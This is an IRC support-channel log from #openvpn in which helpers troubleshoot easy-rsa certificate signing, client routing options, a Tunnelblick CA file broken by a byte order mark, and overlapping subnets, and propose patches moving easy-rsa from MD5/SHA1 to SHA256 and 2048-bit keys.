10:08 <@vpnHelper> "pki" is (#1) http://openvpn.net/index.php/open-source/documentation/howto.html#pki for how to make your PKI stuff (ca, and certs) or (#2) Heres a basic rundown of how it works... The server, client, and ca certs are all signed by the same ca.key. The server and client use the ca.crt to check that eachother were signed by the right ca.key. Optionally, the client also checks that the server cert was
10:08 <@vpnHelper> signed specially as a server (see !servercert)
10:09 <+pekster> You can geneate the keypair on the client-side, but the certificiate needs to be signed by the same CA you used to create the PKI. If you're using easy-rsa, you must generate the keypairs where you sign them as it has no facility to sign them (at least not via the included scripts)
10:09 < rob0> The way it should work: A client generates its own key and CSR. Send the CSR to the CA. The CA signs the CSR and returns the certificate.
10:09 <@krzee> pekster, you sure?  i believe it at least *used to* have the ability to generate keys and sign them separately
10:09 <@krzee> just not as advertised
10:10 <+pekster> If by "not as advertised" you mean "you must manually call openssl" then yes :)
10:10 <@krzee> nah
10:10 <+pekster> rob0: I agree 100%
10:10 <@krzee> i mean not spelt out as clearly in the howto, but its there
10:10 <+pekster> At least not in my Windows install. I don't have easy-rsa cruft installed on my 2 headless systems
10:10 <@krzee> ahh i havnt looked at the windows bats in a long time, and barely looked at them back then
10:11 <@krzee> i meant the nix .sh scripts
10:11 <+pekster> I didn't think they had it either, but maybe I'm wrong
10:11 < c3vin> ok, thanks rob0 that helps
10:11 <@krzee> you're basically neighbors with the easy-rsa maintainer :D
10:13 <@krzee> (twin cities)
10:13 <+pekster> It should be patched to support >sha1. Maybe I'll get motivated to do so in Feb
10:13 <@krzee> what should be patched to support > sha1?
10:13 <@krzee> --tls-auth ?
10:13 <+pekster> easy-rsa
10:13 -!- AsadH is now known as zz_AsadH
10:14 <@krzee> easy-rsa uses sha1 where?
10:14 <@krzee> !easy-rsa
10:14 <@vpnHelper> "easy-rsa" is (#1) easy-rsa is a certificate generation utility. or (#2) Download here: https://github.com/OpenVPN/easy-rsa/downloads or (#3) Download easy-rsa from git hub at https://github.com/OpenVPN/easy-rsa
10:15 <+pekster> Oh, I take it back; 2.3.0 (again, at least on Windows) specifies md5 :P
10:16 <+pekster> Again, not a real "problem" except for use in places that (should) have IT folks who know enough to vet the security of "important" systems
10:17 <@krzee> …even worse, whats it using hashes for?
10:17 <@krzee> just for file integrity?
10:19 -!- raidz_away is now known as raidz
10:19 <+pekster> You hash values and sign the hash, so the security relies on the hash to be resistent against collisions. There have been some fun papers showing how when you can (potentially) control some of the output (eg: by sending specially-crafted CRSs) to a CA, you can potentially take advantage of such weaknesses in the hash alg
10:19 <+pekster> There's really no reason not to use at least sha256 these days
10:19 <@krzee> ouch
10:19 <@krzee> i strongly agree in that case
10:21 <+pekster> I won't really matter for some random joe playing around with ovpn at home, and one hopes that "security professionals" know better. Then again, I've seen a lot that need a few clue-by-fours to hit them in the head first :\
10:21 <@krzee> ya man, your avg gpu these days can rip md5/sha1 right up
10:22 -!- nonotza [~nonotza@rrcs-50-74-239-162.nyc.biz.rr.com] has joined #openvpn
10:23 -!- mikkel [~mikkel@80-71-132-15.u.parknet.dk] has joined #openvpn
10:23 <+pekster> Little different, but there was a really cool presentation (I forget what security conference this was, maybe defcon) where researchers showed that a combination of predictable serial numbers and md5 hashing allowed them to purchase a targeted cert and modify it without error in a brorwser
10:24 <+pekster> Solution: use better hashes and random serial numbers :)
10:24 <@krzee> ecrist, ping ^
10:24 <+pekster> openssl can't really help with the serials, since it's a "poor man's" PKI to begin with
10:25 <@krzee> sure, but a nice sha256, like you said, would be a nice start
10:25 <@krzee> wont be colliding that any time too soon
10:26 <@krzee> i wonder if the hardened polarssl openvpn-nl can use those certs
10:26 <@krzee> i believe it doesnt even know what md5 / sha1 are
10:26 <@krzee> (polarssl)
10:27  * ecrist looks
10:29 -!- Devastator- [~devas@177.18.197.23] has quit [Changing host]
10:29 -!- Devastator- [~devas@unaffiliated/devastator] has joined #openvpn
10:29 <+pekster> ecrist: Here's a patch against whatever the easy-rsa stuff installed by default in Windows under 2.3.0 is: http://pekster.sdf.org/misc/easy-rsa-sha256.patch
10:30 <+pekster> I'd presume it's the same cnf file for *nix too
10:30 <+pekster> (that bit about doing it under [req] is also very required for the client (non-CA) certs too
10:31 -!- jthunder [~jthunder@184.151.222.164] has joined #openvpn
10:31 <+pekster> Upping the default key size to 2048 is probably also wise if you're making security-concious upgrades ;)
10:32 <+pekster> Reference: talk ID 5275 from http://mirror.fem-net.de/CCC/29C3/mp4-h264-HQ/ (really good talk if you're into RSA factoization attacks, btw. They're funny speakers to boot)
10:32 <@vpnHelper> Title: Index of /CCC/29C3/mp4-h264-HQ/ (at mirror.fem-net.de)
10:32 <@ecrist> pekster: is that against git?
10:32 <@krzee> damn i forgot to bookmark that page, thanks =]
10:32 <+pekster> No, whatever was installed locally. I'll get you a proper source patch if you'd like
10:33 <@ecrist> pretty please
10:36 <+pekster> ecrist: What's with all the various versions of openssl .cnf files in the master? Does the change need to go in all of them?
10:37 -!- MeanderingCode [~Meanderin@71-213-164-111.albq.qwest.net] has joined #openvpn
10:37 <+pekster> Yea, I guess so, due to that whichopensslcnf deal
10:37 <+pekster> k
10:38 -!- MeanderingCode_ [~Meanderin@71-213-164-111.albq.qwest.net] has quit [Ping timeout: 264 seconds]
10:44 <@ecrist> pekster: I took over recently, so I have not a clue
10:44 <@ecrist> pekster: pm?
10:44 <+pekster> Sure
10:46 <+pekster> ecrist: I split the patches out against current git master, one for the sha256 change, and another for the keysize -> 2048 bit. http://pekster.sdf.org/misc/ovpn-patches/
10:46 <@vpnHelper> Title: Index of /misc/ovpn-patches (at pekster.sdf.org)
10:49 -!- jthunder_ [~jthunder@184.151.222.164] has joined #openvpn
10:51 -!- jthunder [~jthunder@184.151.222.164] has quit [Ping timeout: 272 seconds]
10:51 -!- jthunder_ is now known as jthunder
10:55 <+pekster> krzee: Re: PolarSSL, the features list supports all official SHA2 varients, so that change shouldn't break any embedded system that's built with a non-ancient version
10:57 <+pekster> And if it is that ancient, people can run my patch in reverse on their local copy :P
10:59 -!- igor_ [~igor@pd907e599.dip0.t-ipconnect.de] has quit [Quit: leaving]
11:01 -!- APTX [~APTX@unaffiliated/aptx] has quit [Quit: Farewell]
11:01 -!- APTX [APTX@unaffiliated/aptx] has joined #openvpn
11:04 -!- zz_AsadH is now known as AsadH
11:06 -!- Azrael808 [~peter@212.161.9.162] has quit [Ping timeout: 244 seconds]
11:07 -!- jthunder [~jthunder@184.151.222.164] has quit [Ping timeout: 272 seconds]
11:13 <+pekster> ecrist: Oh, hold off on that patch. 2 things I had to dig in the scripts to see, at least under the 2.0 Linux stuff. THere's some hard-coding going on of the md selection in the command, and a 2nd cnf section for the server. So, more changes needed :(
11:18 -!- troker [~troker@174.142.225.243] has joined #openvpn
11:20 < troker> Hey all, is there a command that I can run on my OpenVPN client that negates all push options?  Im trying to set up my router as a client but ALL my traffic is getting routed through the VPN, the push options are here:   PUSH_REPLY,topology subnet,route-gateway 10.200.4.1,dhcp-option DNS 208.67.222.222,dhcp-option DNS 208.67.220.220,ping 10,ping-restart 90,redirect-gateway def1,ifconfig 10.200.5.15 255.255.252.0'
11:20 < troker> I think the redirect-gateway def1 is the culprit
11:21 -!- Denial [Denial@cpc15-tonb3-2-0-cust76.16-3.cable.virginmedia.com] has quit []
11:22 <+pekster> troker: Perhaps you want --route-nopull ?
11:22 < troker> pekster: Already have that in my config
11:23 < troker> And I *used* to get routes to 0.0.0.0 (kinda redundant) but I'm not getting them anymore so the --route-nopull I think is working
11:23 -!- gffa [~unknown@unaffiliated/gffa] has joined #openvpn
11:23 < troker> I see this line "openvpn[36893]: SENT CONTROL [server]: 'PUSH_REQUEST' (status=1)"
11:23 < troker> Is that me requesting a push?  Can I just not request the push somehow
11:24 <+pekster> You need that to get your IP, unless you know what that is going to be ahead-of-time
11:25 < troker> Mhm, ok - It looks like that my original idea may be wrong though, further inspection turns up: openvpn[36893]: Options error: option 'redirect-gateway' cannot be used in this context.  So I guess the redirect-gateway isn't the culprit
11:25 <+pekster> At 'verb 4' you should see some message in the log about inhibiting the action of each of the route-related pushes
11:25 < c3vin> so when I browse to openvpn server's URL, windows downloads client and certs automatically
11:26 < c3vin> is there a way I can do the same in centos?
11:26 <+pekster> c3vin: That's not a feature OpenVPN provoides. Either the owner did some clever scripting of download options, or you're using the commercial "Access Server" product which is not part of the open-source OpenVPN program we support here
11:27 <+pekster> !as
11:27 <@vpnHelper> "as" is please go to #OpenVPN-AS for help with Access-Server
11:27 -!- raidz [~raidz@openvpn/corp/admin/andrew] has left #openvpn []
11:27 -!- raidz [~raidz@openvpn/corp/admin/andrew] has joined #openvpn
11:27 -!- mode/#openvpn [+o raidz] by ChanServ
11:27 < c3vin> is client connect part of access server?
11:28 <+pekster> Sounds like it, yes. The open-source version does not have a "client" in the name; it's the same installation for both server and client, you just configure them to take on whatever role you need
11:28 <+pekster> !download
11:28 <@vpnHelper> "download" is (#1) http://openvpn.net/index.php/download/community-downloads.html to download openvpn or (#2) OpenVPN's Windows installer now includes OpenVPN GUI. Don't bother with http://openvpn.se anymore or (#3) Don't trust download.com at all. It provides an extremely old version with malware: http://insecure.org/news/download-com-fiasco.html or (#4) in the community version of openvpn (only
11:28 <@vpnHelper> thing supported here) there is no separate download for client/server, it is the same install with different configs
11:29 -!- dazo_afk is now known as dazo
11:32 < troker> pekster: am I missing something here? maybe Im implementing it wrong: http://pastebin.com/raw.php?i=ekA88nMT
11:33 -!- afuentes [~afuentes@213.37.131.197.static.user.ono.com] has quit [Ping timeout: 276 seconds]
11:34 -!- Denial [Denial@cpc15-tonb3-2-0-cust76.16-3.cable.virginmedia.com] has joined #openvpn
11:36 -!- vpopov [~happylife@149.62.17.217] has joined #openvpn
11:37 -!- p3rror [~mezgani@2001:0:53aa:64c:cb0:1eff:d606:ec34] has joined #openvpn
11:38 <+pekster> troker: Besides the fact that your route command is apparently failing 3 lines from the bottom, that looks normal to me. The redirect-gateway isn't processed since you're not pulling routes
11:39 < troker> pekster: mum, ok thanks for the second set of eyes & the ideas.  I *think* that error is because I keep bringing up and tearing down the interface, so the route is already there… Any other thoughts as to where I might look?
11:40 <+pekster> What's the problem? Nowhere in that setup is it messing with your gateway
11:40 -!- kobolduk [~kobolduk@office.prolocation.net] has quit [Quit: ["Textual IRC Client: www.textualapp.com"]]
11:42 < troker> So when the connection comes up (the logs your seeing) everyone is ok.  Next step is to add that connection to an interface in pfsense to make it usable and routable by the nanoBSD OS and the routers clients.  However as SOON as I do that (create the interface) *all* traffic gets pushed up the client VPN.  Im guessing its a global route too because it totally breaks the (functioning and entirely separate) VPN that I use to get into my home network.
11:42 < troker> I was thinking that maybe it had a route passed to it (like 0.0.0.0) and as soon as I created an interface it was able to act on that route
11:43 < troker> but it seems like the issue might be elsewhere
11:43 <+pekster> You need to check your upscript for errors then
11:43 <+pekster> Anything that's happening to your routing is happening there, not part of openvpn's connection process or parsing of options it gets from the VPN peer
11:43 -!- p3rror [~mezgani@2001:0:53aa:64c:cb0:1eff:d606:ec34] has quit [Remote host closed the connection]
11:44 <+pekster> ie: up_script = '/usr/local/sbin/ovpn-linkup'
11:46 < troker> would bypassing the up_script have any effect?
11:47 <+pekster> The effect would be that it won't get run when the VPN connection is established
11:47 <+pekster> What this means for you I have no idea since that script can do anything it's told
11:51 < troker> pekster: Thoughts on this? The redirect-gateway directive fails because it isn't bound to any interface, but when I do bind it to one the directive takes over?
11:52 <+pekster> Define "takes over" ? If you don't use --route-nopull, you're going to get the exact behaviour described in the manpage under --redirect-gateway
11:54 < troker> Ok, so in here (http://pastebin.com/raw.php?i=ekA88nMT) at the very top I have my flags that Im running openvpn with - the route-nopull should… not pull routes (correct?) -- so why then at the bottom of my logs am I seeing references to redirect-gateway? Wouldn't the route-nopull block that right off the bat?  --- Jan 29 12:26:29 pfsense openvpn[23808]: Options error: option 'redirect-gateway' cannot be used in this context
11:55 <+pekster> It is blocking it. That's what that message says. It tells you "The server sent me this option, but in the context you've requested, I'm not going to process it."
11:56 < troker> Ahhh ok, thank you, that makes things much clearer.  I was under the impression that it was referring to the fact that it had no interface to bind to so I couldn't redirect traffic through it.
11:58 -!- AsadH is now known as zz_AsadH
12:04 -!- b1rkh0ff [~b1rkh0ff@31.176.156.222] has quit [Ping timeout: 240 seconds]
12:05 -!- b1rkh0ff [~b1rkh0ff@31.176.147.137] has joined #openvpn
12:19 -!- JPeterson [~JPeterson@s213-103-211-4.cust.tele2.se] has quit [Ping timeout: 248 seconds]
12:20 -!- cirdan [~chris@c-69-248-228-142.hsd1.nj.comcast.net] has joined #openvpn
12:21 < cirdan> hey any chance I can get some help with tunnelblick in here? I got a working config other places not working on the latest beta. It tells me it can't find my ca.crt even if I give it a full path
12:24 <@krzee> i just tell it that i have configs, then i dump everything into the folder it gives me and rename it like it says
12:25 < cirdan> I did that and it won't work
12:25 < cirdan> sad that i got openvpn working on my iphone before my mac
12:25 <@krzee> did the config simply say "ca ca.crt"
12:25 <@krzee> or did it have full path?
12:25 < cirdan> either. neither work
12:26 <@krzee> sad? i think thats awesome, the ios client is very new
12:26 < cirdan> sad that it's not working on os x
12:26 <@krzee> need the latest beta?
12:26 < cirdan> got it
12:26 <@krzee> but do you need it?
12:26 <@krzee> beta generally means less tested
12:27 < cirdan> i'm on 10.8 iirc it was reccomended
12:27 <@krzee> try submitting a ticket to them
12:27 < cirdan> 2013-01-29 13:26:56 us=171918 Cannot load CA certificate file /Library/Application Support/Tunnelblick/Users/chris/lorien.tblk/Contents/Resources/ca.pem path (null) (SSL_CTX_load_verify_locations) (OpenSSL)
12:27 <@krzee> i dont run 10.8 or the latest beta
12:27 <@krzee> well, do you see the crt there?
12:27 < cirdan> that was with the full path quoted
12:28 < cirdan> err
12:28 < cirdan> wait a sec
12:29 -!- troker [~troker@174.142.225.243] has left #openvpn []
12:29 < cirdan> yup it exists there
12:30 <@krzee> does the md5 match?
12:31 <+pekster> That's a somewhat strange path, but okay. When I used Tunnelblick it more or less intended you to keep ca certs like that either under /Users somewhere, or directly in the Tunnelblick.app package when you shipped pre-packaged cert files
12:31 < cirdan> yes they are the same
12:31 <@krzee> you have a choice, keep it for the user only or the entire system
12:31 < cirdan> pekster: now it creates a "shadow copy" it tells me
12:31 <+pekster> That's likely why it can't find it, since you need to call the program as root to get the right perms
12:32 <+pekster> Vista did the same thing before they "fixed" it in SP1. Try checking for that file as the root user in a terminal
12:32 < cirdan> it asks for root if i modify in my home config
12:32 < cirdan> it exits and you need root ro read the dir
12:32 <+pekster> It may not exist if apple's doing some goofy copy in your personal user view or something
12:33 -!- JPeterson [~JPeterson@s213-103-211-4.cust.tele2.se] has joined #openvpn
12:33 <@krzee> try importing it for the user instead?
12:33 < cirdan> It is a user config
12:34 <@krzee> ok then try the other
12:34 <+pekster> But according to that path, it's stored under the "Application Support" in the system library. Maybe things are symlinked or hardlinked in screwy ways, but then you have a lot more stuff messed up that I don't even want to touch :P
12:34 <@krzee> its a tunnelblick problem, we dont know the solution,  but you might stumble onto a workaround (or you could just go file a ticket with them)
12:34 < cirdan> yeah
12:34 < cirdan> gonna try the other beta they have posted
12:35 <+pekster> I've generally been impressed with how Tunnelblick handled itself, but I've been out of the loop since $oldjob when I was maintaining pre-packaged "install and connect" type releases
12:35 <+pekster> In that regard, they did better than any other platform I've seen with that kind of support
12:36 <@krzee> i used to dislike tunnelblick, but in the last year or 2 i gave it another try and have had nothing but good experience with it since
12:36 <+pekster> Drag to Applications folder, click OK on the permissions dialog, enter your password, and you're done
12:36 <@krzee> also better interface for managing multiple tunnels (imo)
12:36 < cirdan> you don't even need to drag it anymore. if you open it from the image it'll ask to copy itself and restart itself
12:37 <@krzee> i also like that it directly imports configs instead of trying to help you generate one
12:37 <+pekster> Well, the magic I did was in pre-packging the configs inside the .app folder
12:37 <+pekster> They have a specific method to declare the options you need, the config file, and all the supporting certs/keys/whatever
12:37 <+pekster> It's super-easy, if you follow their guidelines
12:38 <+pekster> As soon as it's installed, the user has immediate access to whatever you've configured it to support (in my case, a VPN to $oldjob's netwnork)
12:41 <+pekster> This: https://code.google.com/p/tunnelblick/wiki/cCusDeployed#How_to_Make_a_Deployed_Version
12:41 <@vpnHelper> Title: cCusDeployed - tunnelblick - Deploying Tunnelblick - OpenVPN GUI for Mac OS X - Google Project Hosting (at code.google.com)
12:42 < cirdan> yeah other beta wont work
12:43 <+pekster> cirdan: Sounds like a problem with "views" on the filesystem depending on what user is actually invoking openvpn, or possibly a chroot issue if your config or Tunnelblick now tries to add that automatically
12:45 <+pekster> If the file is there and you can verify this by running the config passed to openvpn directly on a command prompt as root, then you should file the bug downstream with Tunnelblick. If not, you need to find your file first ;)
12:55 <@krzee> watching http://mirror.fem-net.de/CCC/29C3/mp4-h264-HQ/29c3-5275-en-facthacks_h264.mp4  and just waiting for a joke about "minding your p's and q's"
12:56 < cirdan> yeah doesn't work on the command line either, which makes sense
12:56 < cirdan> but root can read the files fine
12:56 < cirdan> so can I atm
12:58 <+pekster> krzee: Oh no, the jokes are much more blunt than that. Just wait until you hear about the secure cloud storage solutions they reference near the end
12:59 <+pekster> cirdan: Calling openvpn directly from the prompt also failed? Citing the same error to the file, that you can 'ls -l "$file"' and 'less "$file"' on?
13:00 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Ping timeout: 264 seconds]
13:00 -!- krzie [nobody@hemp.ircpimps.org] has joined #openvpn
13:00 -!- krzie [nobody@hemp.ircpimps.org] has quit [Changing host]
13:00 -!- krzie [nobody@openvpn/community/support/krzee] has joined #openvpn
13:00 -!- mode/#openvpn [+o krzie] by ChanServ
13:01 <+pekster> krzie: Bad time to ping out. http://fpaste.org/wNw7/raw/
13:01 <@krzie> nice i wasnt sure you caught what i said or not
13:02 < cirdan> wtf. so... my ca cert was a utf8 file and it was being rejected?!?
13:03 < EugeneKay> BOM enabled?
13:03 < cirdan> i guess so
13:03 < EugeneKay> No surprise there.
13:03 <@krzie> BOM?
13:03 < cirdan> bill of materials :-)
13:04 < cirdan> why should it matter if there is a bom?
13:04 < EugeneKay> Byte Order Mark, aka  	
13:04 <@krzie> beer or marijuana :D
13:04 <@krzie> aka, what to bring to my parties
13:04 < EugeneKay> Because /nothing/ knows to look for & strip BOMs
13:05 < EugeneKay> krzie - "or"? :'-(
13:05 <@krzie> hey im not TOO demanding
13:05 < cirdan> ok one last question, is there any way, while using a tun device, or make it act like tap, aka share the same subnet with my home network?
13:06 < EugeneKay> You can add a second IP to your eth interfface and do 1-to-1 NATing
13:06 < EugeneKay> But really, just set it up to route properly.
13:06 < cirdan> I hate it routing properly, was just wondering
13:07 < EugeneKay> Then you don't understand networking :-p
13:07 <@krzie> theres also a special feature built into openvpn for this
13:07 < cirdan> just a minor annoyance
13:07 <@krzie> i have no idea why, but there is
13:07 < EugeneKay> There is? o.O
13:07 <@krzie> i strongly recommend not using it
13:07 <@krzie> !nathack
13:07 <@vpnHelper> "nathack" is see https://community.openvpn.net/openvpn/wiki/NatHack for info on how to solve the problem when you need !route_outside_ovpn but cant add a route to the gateway or the lan machines
13:07 < EugeneKay> Oh, that.
13:07 <@krzie> hmm wheer is it
13:07 <@ecrist> pekster: incoming from freenode staff
13:07 <@krzie> theres an actual --option
13:08 <+pekster> k
13:08 <@krzie> !factoids
13:08 <@vpnHelper> "factoids" is A semi-regularly updated dump of factoids database is available at http://www.secure-computing.net/factoids.php
13:08 < cirdan> that's not it. I just prefer my devices having the same ip lan or vpn, no worries
13:08 < EugeneKay> Set up DNS for them then
13:08 < EugeneKay> No more worrying about IPs
13:08 <+pekster> Maning your own fake tld too ;)
13:09 < cirdan> --topology you mean?
13:09 < EugeneKay> Nonsense, you can run it in public DNS
13:09 <@krzie> !samesubnet
13:09 <@vpnHelper> "samesubnet" is (#1) clients can not connect to a server pushing its lan if on the same subnet. you can only reach your subnet on layer2 or through your gateway, when you create a route for it you will try to reach your gateway over the vpn which dies because you cant reach your gateway or (#2) you can use --client-nat if on 2.3 to work around changing the subnet, but you should still just change the
13:09 <+pekster> Well, I keep rfc1918 out of my public zones :P
13:09 <@vpnHelper> subnet
13:09 <@krzie> EugeneKay, that ^
13:09 < EugeneKay> Oh, 2.3
13:10 <@krzie> yep, not sure why they built the nathack into openvpn, but they did
13:10 < EugeneKay> Sadists.
13:12 <+pekster> I find it ironic that NAT-friendly features are added at a time when we want to encourage IPv6 usage globally :P (not just openvpn, mind you.)
13:12  * krzie throws holy water at pekster's ipv6
13:12 -!- pekster [~rewt@openvpn/user/pekster] has quit [Changing host]
13:12 -!- pekster [~rewt@openvpn/community/support/pekster] has joined #openvpn
13:12 -!- ServerMode/#openvpn [+v pekster] by zelazny.freenode.net
13:12 -!- krzie is now known as krzee
13:13 -!- mode/#openvpn [+o pekster] by ChanServ
13:14 <@krzee> o/
13:15 < cirdan> oh EugeneKay, the reason i'm confused about the BOM issue is that there is still the --BEGIN-- and end lines...
13:15 < cirdan> ah well
13:15  * cirdan goes and changes the default on bbedit...
13:20 < EugeneKay> Standards are standards
13:20 < EugeneKay> And BOM is a bad one :-p
13:22 < cirdan> well it works now, woot
13:25 < rob0> Wow, that holy water is powerful stuff!
13:26 < cirdan> it wasn't water...
13:33 <@krzee> lol
13:36 < fys> god my last job warped my perception of dubstep
13:36 < fys> i can't hear skrillex without thinking of a strip club
13:37  * krzee puts a $1 in fys' bra
13:37 < fys> haha
13:37 < fys> ;)
13:40 <@krzee> pekster, lol this video is getting funny
13:47 <@pekster> They're pretty smart folks, and don't mind having fun while talking about the potentially dry topic of RSA math
13:51 -!- vpopov [~happylife@149.62.17.217] has quit [Ping timeout: 255 seconds]
13:53 < fys> ugh
13:53 < fys> I'm in hell.
13:53 <@krzee> listen to dubstep
13:53 <@krzee> it'll make you think of boobies
13:53 < fys> I'm stuck with 4 servers in the 192.168.xxx.xxx range.
13:53 < fys> :|
13:54 < fys> One of which is 192.168.1.0/24
13:54 < fys> and I can't change it.
13:54 < fys> When my developer is on the road, he's fucked half the time.
13:55 -!- Valcorb [~Valcorb@d54C68BC0.access.telenet.be] has joined #openvpn
13:57 < rob0> stuck?
13:58 < fys> Yeah.
13:58 < fys> It's on a hosted VMware system I don't have console access to
13:58 <@pekster> fys: My solution to that (overlapping rfc1918 networks) is to fire up a tiny VM that serves my laptop a unique range and let the upstream device deal with NAT/upstreamDNS, etc. No more overlap, and functional DNS by way of NAT and dnsmasq
13:58 < fys> behind a shitty fortigate appliance.
13:58 <@pekster> Of course, that assumes you have full control over the remote floating end, and have access too a bootable distro as a VM :\
13:58 < rob0> My solution is to do proper network design from the beginning ;)
13:59 < fys> I didn't design it.
13:59 < fys> Ass.
13:59 < rob0> or, go back and fix it later
13:59 < fys> Yeah, again.
13:59 < fys> Can't.
13:59 < rob0> sucks to be you
13:59 < fys> Yes it does.
13:59 < fys> At least from this problem.
14:00 < fys> Whoever designed this network was a fucking idiot.
14:00 < rob0> Many network designers are. Certainly not unusual.
14:00 <@krzee> ive had to tell a few people "the last guy did not think this far ahead, i can duct tape it together and wish the next guy good luck, or i can go back and spend more time doing it over again clean and correctly, the choice is yours"
14:00 <@krzee> most people elect to have it done correctly
14:01 < fys> krzee: The thing that infuriates me the most is that the Fortigate appliance has VPN shit built-in so they should have thought about VPN and IP ranges when picking shit.
14:01 < fys> :|
14:01 < fys> "HMMM THIS NETWORK MIGHT NEED VPN... 192.168.1.0/24 IT IS!"
14:02 < fys> Fucking amateurs.
14:02 <@krzee> lol
14:02 < fys> I'm -far- from a network guy myself.
14:02 < fys> but even I know not to do that.
14:02 < fys> heh
14:06 -!- pekster [~rewt@openvpn/community/support/pekster] has quit [Quit: Disconnecting to play with RA/PD on the ISP link]
14:12 -!- scyld [~scyld@unaffiliated/wasyl] has quit [Quit: Wychodzi]
14:16 < EugeneKay> Boobies?
14:16  * EugeneKay perks up
14:17 -!- jthunder [~jthunder@70.28.245.121] has joined #openvpn
14:23 -!- ade_b [~Ade@redhat/adeb] has joined #openvpn
14:28 <@novaflash> boobs?
14:28 <@novaflash> what?
14:29 <@novaflash> anyone know why this error would popup with openvpn 2.3.0 on win 2008 r2 x64 on the TAP driver? http://fiber.xs4all.nl/TAP.png
14:31 <@krzee> #10?
14:31 -!- rocco1 [~rocco@2001:4dd0:fd53:101:1d09:eea4:2a2:3f7] has joined #openvpn
14:31 <@novaflash> *shrugs* i guess the guy wanted a few tap adapters
14:31 < rocco1> !clientlan
14:31 <@vpnHelper> "clientlan" is (#1) for a lan behind a client, the client must have ip forwarding enabled (!ipforward), the server needs a route to the lan, the server needs to push a route for the lan to clients, the server needs a ccd (!ccd) file for the client with an iroute (!iroute) entry in it, and the router of the lan the client is on needs a route added to it (!route_outside_openvpn) or (#2) see !route for
14:31 <@vpnHelper> a better explanation or (#3) Handy troubleshooting flowchart: http://ircpimps.org/clientlan.png
14:32 < rocco1> !route_outside_openvpn
14:32 <@vpnHelper> "route_outside_openvpn" is (#1) If your server is not the default gateway for the LAN, you will need to add routes to your gateway. See ROUTES TO ADD OUTSIDE OPENVPN in !route or (#2) Here are 2 diagrams that explain how this works: http://www.secure-computing.net/wiki/index.php/Graph http://i.imgur.com/BM9r1.png
14:33 <@krzee> novaflash, ild prolly use the bat to remove all and start over
14:34 <@krzee> i doubt he actually has 10, likely has fubar'ed things trying to make 1 work
14:34 <@novaflash> does 2.3.0 even HAVE the bat these days? i thought they created a separate installer for tap now?
14:34 <@novaflash> but yeah you're probably right
14:34 <@novaflash> i just threw the message out here hoping someone might go oh yeah, that's a known thing
14:34 <@krzee> sucks pekster left, he pulled them out of the installer
14:34 <@novaflash> but i guess not
14:34 <@novaflash> so you're saying
14:35 <@novaflash> he pulled out?
14:35 <@krzee> the bats you are looking for are somewhere
14:35 <@krzee> i dunno more than that
14:35 <@novaflash> haha
14:35 <@krzee> sorry, but hopefully that helps ya
14:35 <@novaflash> if they're there, i can find them
14:35 <@novaflash> don't worry mate
14:35 <@novaflash> it's not my server that's got the problem
14:36 <@novaflash> i was just curious about the error
14:36 <@novaflash> it kind of looks to me like he used an old installer first
14:36 <@novaflash> then ran the new installer
14:36 <@novaflash> maybe the old driver is still in there
14:39 -!- kyrix [~ashley@85-126-76-82.work.xdsl-line.inode.at] has quit [Ping timeout: 276 seconds]
14:41 -!- genghi [~Adium@p50899BDD.dip.t-dialin.net] has quit [Quit: Leaving.]
14:48 -!- jthunder [~jthunder@70.28.245.121] has quit [Ping timeout: 272 seconds]
14:51 -!- ade_b [~Ade@redhat/adeb] has quit [Ping timeout: 272 seconds]
14:54 -!- pekster [~rewt@openvpn/community/support/pekster] has joined #openvpn
14:57 < pekster> No IPv6 for me, still :(
15:00 < c3vin> I think access server is fucking up my life right now
15:00 < c3vin> can't get openvpn client on centos to connect
15:00 < EugeneKay> !as
15:00 <@vpnHelper> "as" is please go to #OpenVPN-AS for help with Access-Server
15:00 < c3vin> oh ty
15:01 -!- jthunder [~jthunder@70.28.245.121] has joined #openvpn
15:01 -!- Denial [Denial@cpc15-tonb3-2-0-cust76.16-3.cable.virginmedia.com] has quit []
15:05 -!- mikkel [~mikkel@80-71-132-15.u.parknet.dk] has quit [Quit: Leaving]
15:07 -!- ade_b [~Ade@redhat/adeb] has joined #openvpn
15:11 -!- KaiForce [~chatzilla@adsl-70-228-88-232.dsl.akrnoh.ameritech.net] has quit [Quit: ChatZilla 0.9.89 [Firefox 18.0.1/20130116073211]]
15:16 -!- syoma [~syoma@186.34.232.222] has joined #openvpn
15:17 < syoma> Hello
15:17 -!- Denial [Denial@cpc15-tonb3-2-0-cust76.16-3.cable.virginmedia.com] has joined #openvpn
15:18 < syoma> guys, I've the following problem:
15:18 < syoma> "This computer's apparent public IP address was not different after connecting to fw1-TCP-1196-fernando.ormeno. It is still 190.44.118.93.
15:18 < syoma> This may mean that your VPN is not configured correctly."
15:18 < syoma> my config is OK
15:19 < syoma> I use tunnelblick client... somebody can help me please
15:19 < pekster> !goal
15:19 <@vpnHelper> "goal" is Please clearly state your goal for your vpn: example, I would like to access the lan behind the server , I would like to access the internet over my vpn , I just want a secure connection between 2 computers , etc
15:20 < syoma> pekster: hello man
15:22 -!- bjh4 [~bjh4@12.239.198.1] has joined #openvpn
15:22 -!- bjh4 [~bjh4@12.239.198.1] has quit [Remote host closed the connection]
15:23 -!- brute11k1 [~brute11k@89.249.231.124] has joined #openvpn
15:24 -!- PryMar56 [~prymar@cpe-98-149-139-90.socal.res.rr.com] has joined #openvpn
15:24 -!- brute11k [~brute11k@89.249.231.124] has quit [Ping timeout: 246 seconds]
15:27 -!- ade_b [~Ade@redhat/adeb] has quit [Ping timeout: 244 seconds]
15:30 -!- syoma [~syoma@186.34.232.222] has quit [Quit: leaving]
15:32 -!- Saviq_ [~Saviq@194.168.195.98] has joined #openvpn
15:35 -!- Saviq_ [~Saviq@194.168.195.98] has quit [Client Quit]
15:41 -!- jackbrown [~se@93-44-76-167.ip96.fastwebnet.it] has joined #openvpn
15:41 -!- jackbrown [~se@93-44-76-167.ip96.fastwebnet.it] has quit [Read error: Connection reset by peer]
15:44 -!- jthunder_ [~jthunder@70.28.245.121] has joined #openvpn
15:45 -!- ade_b [~Ade@kista.guest.accome.com] has joined #openvpn
15:45 -!- ade_b [~Ade@kista.guest.accome.com] has quit [Changing host]
15:45 -!- ade_b [~Ade@redhat/adeb] has joined #openvpn
15:47 -!- jthunder [~jthunder@70.28.245.121] has quit [Ping timeout: 272 seconds]
15:47 -!- jthunder_ is now known as jthunder
15:54 -!- nonotza [~nonotza@rrcs-50-74-239-162.nyc.biz.rr.com] has quit [Quit: nonotza]
15:54 -!- ade_b [~Ade@redhat/adeb] has quit [Ping timeout: 272 seconds]
15:56 -!- zeshoem [~zee@198-84-231-11.cpe.teksavvy.com] has quit []
